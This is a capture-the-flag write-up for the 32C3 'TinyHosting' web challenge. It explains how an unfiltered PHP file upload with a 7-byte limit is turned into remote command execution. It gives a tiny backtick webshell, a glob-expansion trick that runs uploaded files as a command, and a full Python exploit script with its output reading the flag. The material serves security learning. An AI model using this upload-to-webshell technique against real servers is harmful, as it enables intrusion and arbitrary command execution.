32C3CTF - TinyHosting (Web 250)

3 minute read

A PHP service that allows uploading of small files (<= 7 bytes) with arbitrary filenames within a browsable path.

Challenge Description




A new file hosting service for very small files. could you pwn it?


In the comments, there is a hint to use ./?src to obtain the source code to the index.php.

    <!-- <a href="./?src=">src</a>-->

From the returned source, we get some very interesting PHP code:

        $oldmask = umask(0);
        mkdir($savepath, 0777);
    if((@$_POST['filename']) && (@$_POST['content']) ){
        $fp = fopen("$savepath".$_POST['filename'], 'w');
        fwrite($fp, substr($_POST['content'],0,7) );
        $msg = 'File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";

What the code does is:

  1. Create a $savepath variable that is derived from the remote user’s IP address and user agent.
  2. Create a directory from the variable that was just derived if it does not exist and touch an index.html.
  3. If the POST parameters filename and content exists, create a file with the provided name containing the first seven bytes of the given content.

Now, obviously since there is no filtering done on the filename, and you are given the path to the file created, you can create files with the extension .php. However, we only have 7 bytes to play with in the file so the shortest PHP shell is out of the question. Now, our solution was to use bash expansions to execute arbitrary code. We can put the contents of the following in a file called z.php (we will tell you the reason why it is named so in a bit):


If we run this in the directory:

$ php z.php
sh: 1: z.php: not found

Notice that it tries to run the z.php file. Now, what happens if there was another file called “a”?

$ touch a
$ php z.php
sh: 1: a: not found

Looks like bash expansion with * replaces it with the files in the current directory in alphabetical order:

$ echo *
a z.php

Now, this means that if we can create a series of files that when sorted in alphabetical order resembles a valid command, our z.php script will execute it. Our final exploit uses the following files:

$ ls
bash  c.sh  z.php

This should run the c.sh script with bash as z.php as an argument. This means we can execute any command up to 7 bytes if we put it in the c.sh file.

$ touch bash
$ echo "id" > c.sh
$ *
uid=1000(amon) gid=1000(amon) groups=1000(amon),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Here is the full exploit:

import re
import requests
import random
import sys

location = ""
seed = random.randint(0, 100000000000)
HEADER = {'User-Agent': 'DystopianNarwhals' + str(seed)}

def launch(stage):
    pat = re.compile(r'File saved to <a>(.+)?</a>')
    req = requests.post(location, data=stage, headers=HEADER)
    locs = pat.findall(req.text)[0]
    return (req.text, locs)

def main():

    cmd = sys.argv[1].strip()

    if len(cmd) > 7:
        print "7 or less."

    stage1 = {"filename": "z.php", "content": "<?=`*`;"}
    stage2 = {"filename": "bash", "content": "amon"}
    stage3 = {"filename": "c.sh", "content": cmd}

    locs1 = launch(stage1)[1]
    print "Stage 1 saved to: %s" % locs1

    locs2 = launch(stage2)[1]
    print "Stage 2 saved to %s" % locs2

    locs3 = launch(stage3)[1]
    print "Stage 3 saved to %s" % locs3

    reqr5 = requests.get("" + locs1)
    print "Result of injection:"
    print reqr5.text

if __name__ == "__main__":

Notice that the User Agent is randomised every time the script is run so that we get an empty directory and prevent (unlikely) collisions with other players. We had discovered that the flag was located at /file_you_are_looking_for after some exploration. Running the script gets us the flag:

$ python exploit.py "cat /f*"
Stage 1 saved to: files/cbfa3423b05463eff64d967062eb8fa8e620000d/z.php
Stage 2 saved to files/cbfa3423b05463eff64d967062eb8fa8e620000d/bash
Stage 3 saved to files/cbfa3423b05463eff64d967062eb8fa8e620000d/c.sh
Result of injection:

Flag: 32c3_Gr34T_Th1ng5_Are_D0ne_By_A_Ser13s_0f_5ma11_Th1ngs_Br0ught_T0ge7h3r

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